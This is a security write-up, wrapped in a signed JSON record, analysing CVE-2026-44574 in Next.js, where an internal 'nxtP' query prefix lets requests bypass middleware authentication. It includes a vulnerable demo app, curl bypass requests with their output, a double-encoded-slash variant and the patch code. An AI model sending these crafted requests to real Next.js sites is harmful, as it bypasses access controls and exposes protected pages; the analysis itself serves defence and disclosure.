-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `nxtPslug` is how Next.js's outer router tells its inner server which slug it matched\n\nIn Next.js's App Router, a path like `/admin/secret-page` matches the file `app/admin/[slug]/page.tsx` with `params.slug = \"secret-page\"`. Something has to make that match. In the production architecture, the something is split across two processes: an outer router (the standalone server, or the proxy that fronts the workers) does the URL-to-route matching, and an inner server (the `NextServer` that actually invokes the route module) renders the result.\n\nThe two halves communicate by query string. The outer router takes the matched dynamic-segment values and writes them onto the inner request as keys prefixed with `nxtP`. The constants file is explicit about this:\n\n```ts\n// packages/next/src/lib/constants.ts\nexport const NEXT_QUERY_PARAM_PREFIX = 'nxtP'\nexport const NEXT_INTERCEPTION_MARKER_PREFIX = 'nxtI'\n```\n\nOn the inner side, the route module calls `normalizeQueryParams`, which strips the prefix and promotes the key into the request's \"route parameters\" namespace:\n\n```ts\n// packages/next/src/server/server-utils.ts (pre-patch behavior)\nexport function normalizeQueryParams(\n query: ParsedUrlQuery,\n routeParamKeys: Set\n) {\n for (const key of Object.keys(query)) {\n if (key.startsWith(NEXT_QUERY_PARAM_PREFIX)) {\n const normalizedKey = key.substring(NEXT_QUERY_PARAM_PREFIX.length)\n query[normalizedKey] = query[key]\n routeParamKeys.add(normalizedKey)\n delete query[key]\n }\n // ...same for NEXT_INTERCEPTION_MARKER_PREFIX\n }\n}\n```\n\nThat is the channel. `nxtPslug=secret-page` becomes `params.slug = \"secret-page\"` inside the page.\n\nThe protocol assumes the outer router is the only thing that ever sends `nxtP*`. The protocol has no way to enforce that assumption against the network.\n\n## Middleware reads pathname. The route module reads the query.\n\nHere is the vulnerable app the PoC ships:\n\n```ts\n// middleware.ts\nimport { NextResponse, NextRequest } from 'next/server'\n\nexport function middleware(req: NextRequest) {\n const path = req.nextUrl.pathname\n if (path.startsWith('/admin')) {\n return NextResponse.redirect(new URL('/login', req.url))\n }\n return NextResponse.next()\n}\n```\n\n```tsx\n// app/admin/[slug]/page.tsx\nexport default async function AdminPage({\n params,\n}: { params: Promise<{ slug: string }> }) {\n const { slug } = await params\n return
ADMIN_SECRET_FLAG {slug}
\n}\n```\n\nTwo stages of one request pipeline, reading different fields of the same request, with different authority over the answer.\n\nThe middleware reads `req.nextUrl.pathname`. For `GET /safe?nxtPslug=secret-page`, that is `/safe`. The gate returns `NextResponse.next()`. The request continues.\n\nThe route module reads `query` to discover which dynamic-route slug was matched. `query.nxtPslug` is present. `normalizeQueryParams` strips the prefix and writes `slug = \"secret-page\"` into the route parameters. The route module renders `app/admin/[slug]/page.tsx`.\n\nThe middleware sees one thing. The renderer sees another. The renderer wins, because the renderer is the one that actually answers.\n\n## The bypass is one curl\n\nThe PoC ships an `exploit.sh` with three steps. Trimmed to the essential:\n\n```bash\n# 1. Baseline: middleware sees /admin, redirects.\n$ curl -is http://localhost:3000/admin/secret-page | head -1\nHTTP/1.1 307 Temporary Redirect\n\n# 2. Bypass: middleware sees /safe, passes. Route module reads\n# nxtPslug from the query and renders the admin page.\n$ curl -s 'http://localhost:3000/safe?nxtPslug=secret-page'\n
ADMIN_SECRET_FLAG secret-page
\n\n# 3. Confirmation that there is no /safe page in the app.\n$ ls app/safe 2>&1\nls: cannot access 'app/safe': No such file or directory\n```\n\nThere is no `/safe` route file in this app. The 200 in step 2 is `app/admin/[slug]/page.tsx`, served against a request whose visible path is `/safe`. The browser's address bar and the middleware's view both say `/safe`. The page rendering and the data fetched both come from `/admin/[slug]`. Inside the server, the URL the renderer believed it was answering and the URL the gate believed it was inspecting were not the same URL.\n\nThe same primitive works against `nxtI*` for intercepted routes, and against the family of `x-matched-path` / `x-now-route-matches` headers that the multi-process variant of the same protocol uses. The advisory lists CVSS 8.1, CWE-288: \"Authentication Bypass Using an Alternate Path or Channel.\" The phrase \"alternate channel\" is doing the work. The path the middleware reads and the channel the renderer reads are different parts of the same HTTP request, and the attacker controls both.\n\n## The \"internal-only\" status of `nxtP` was held by documentation\n\nThere is a sibling function in the same file, named `filterInternalQuery`, that does the obvious thing:\n\n```ts\n// packages/next/src/server/server-utils.ts\nexport function filterInternalQuery(\n query: ParsedUrlQuery,\n routeParamKeys: string[]\n) {\n for (const key of Object.keys(query)) {\n if (\n key.startsWith(NEXT_QUERY_PARAM_PREFIX) ||\n key.startsWith(NEXT_INTERCEPTION_MARKER_PREFIX)\n ) {\n delete query[key]\n }\n // ...\n }\n}\n```\n\n`filterInternalQuery` exists. It strips the prefix-namespaced keys without trusting them. The protocol's safe primitive is in the same source file as the protocol's unsafe primitive. Pre-patch, the route module called `normalizeQueryParams` in every code path that processed a route. The decision about which sibling to call was made structurally: the framework chose \"trust the channel\" as the default and put no boundary check between \"the outer router wrote this key\" and \"some browser wrote this key.\"\n\nThis is the same shape as CVE-2025-29927 (`x-middleware-subrequest`), CVE-2026-44575, CVE-2026-44573, and CVE-2026-44581. Each one is a different namespace that Next.js reserves for its own inner control plane, that the external network is also allowed to write to. The pattern catalog calls it `internal-only-by-convention`: a value is treated as authoritative because the framework's own components are supposed to be the only writers, while the channel that carries it stays open to anyone.\n\nThe header sibling of this pattern is visible right next to the vulnerable code. `packages/next/src/server/lib/server-ipc/utils.ts` maintains an explicit allow/deny list:\n\n```ts\nconst INTERNAL_HEADERS = [\n 'x-middleware-rewrite',\n 'x-middleware-redirect',\n 'x-middleware-set-cookie',\n // ...\n 'x-matched-path',\n 'x-now-route-matches',\n 'x-nextjs-data',\n // ...\n]\n\nexport const filterInternalHeaders = (\n headers: Record\n) => {\n for (const header in headers) {\n if (INTERNAL_HEADERS.includes(header)) {\n delete headers[header]\n }\n }\n}\n```\n\nThe comment above the list reads: \"These are headers that are only used internally and should not be honored from the external request.\" The framework knew, in prose, that internal channels need a boundary. The query-string version of that same boundary did not exist.\n\n## The patch branches on whether `next-server` is the immediate host\n\nThe v16.2.5 fix is in `packages/next/src/server/route-modules/route-module.ts`. The route-handling preamble that used to call `normalizeQueryParams` unconditionally now branches:\n\n```ts\nserverUtils.normalizeCdnUrl(req, combinedParamKeys)\nif (!routerServerContext?.isWrappedByNextServer) {\n serverUtils.normalizeQueryParams(query, routeParamKeys)\n} else {\n serverUtils.filterInternalQuery(query, [])\n}\nserverUtils.filterInternalQuery(originalQuery, combinedParamKeys)\n```\n\n`isWrappedByNextServer` is set in `packages/next/src/server/next-server.ts` to mark the deployment shape where `NextServer` is the immediate handler of the inbound request, with no separate outer router in front of it. In that shape, there is no trusted upstream to have written `nxtP*` keys, so any `nxtP*` on the request is by definition external and gets stripped by `filterInternalQuery`. In the other shape, where a trusted standalone router has already done the routing and written `nxtP*` keys onto the inner request, `normalizeQueryParams` is still called.\n\nThe patch is a boundary check. It does not change what `nxtP*` means inside the renderer. It changes who is allowed to write it, by asking the runtime \"is there an outer router upstream of me right now?\" and stripping the channel when the answer is no. The trust that used to be implicit (the framework assumed only its own outer router writes `nxtP*`) is now explicit (the runtime checks whether an outer router exists, and treats the channel as untrusted when it does not).\n\nThis is the same defender frame that the `x-middleware-subrequest` patch arrived at in March 2025, applied to the query-string sibling of the same control plane.\n\n## The encoded-slash variant\n\nThe PoC ships a second exploit shape: `GET /admin/foo%252Fsecret-page` returns 200 in some configurations. This is a different bug in the same protocol's vicinity. `parseDynamicParamFromURLPart` decodes its input before passing it to a downstream that decodes again, so a double-encoded slash slips through one decoder, is processed as part of one segment, then is decoded again and treated as a path separator. Commit `f1c11203d5` adds a `canonicalizeURLPart` helper that decodes-then-re-encodes so both sides agree on a single canonical form. That commit is tagged in the PoC's `patch.diff`, but the GitHub advisory thread notes the commit is \"not related to CVE-2026-44574.\"\n\nThe encoded-slash variant is the same shape as `nxtP*` at one level of abstraction: two stages of the pipeline disagree about what segment of the URL belongs to which route parameter. It is a different bug at the level of code. The `nxtP*` bypass works on any input. The encoded-slash bypass needs a specific decoder mismatch. Both were closed in the v16.2.4 to v16.2.5 window. Only the first one is what GHSA-492v-c6pp-mqqv calls \"CVE-2026-44574.\"","closing_line":"The framework taught its outer router how to write `nxtPslug` to its inner server. It did not teach the inner server who else was allowed to write it.","hook_md":"Same vulnerable Next.js app. Two requests.\n\n`GET /admin/secret-page` returns `307 → /login`. The middleware reads `req.nextUrl.pathname`, sees `/admin`, redirects.\n\n`GET /safe?nxtPslug=secret-page` returns `200` with the admin page's body. The middleware reads `req.nextUrl.pathname`, sees `/safe`, lets it through. The App Router's route module reads `query.nxtPslug`, treats it as the matched dynamic-route parameter, and renders `app/admin/[slug]/page.tsx` with `params.slug = \"secret-page\"`.\n\nThe query-param key `nxtP` is the channel Next.js's outer routing layer uses to tell its inner server which slug it matched. Until v16.2.5, any caller of the inner server could say it too.","post_id":423,"slug":"nextjs-cve-2026-44574-middleware-read-path-app-router-read-nxtpslug","title":"CVE-2026-44574: Next.js's Middleware Read the Path. The App Router Read `nxtPslug`.","type":"initial","unreadable_sentence":"The framework now does what the convention had always said the network would do."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCalvfwAAKCRDeZjl4jgkQ JtOoAQD8opp0H2xbtdCcrmn0SnYc0WqttbDX+NMfuUU6aeeupwD/T8zMGTy26fbS 1cRBXbOAN0BudWf4YXd6TR64ORfTKA0= =D9xi -----END PGP SIGNATURE-----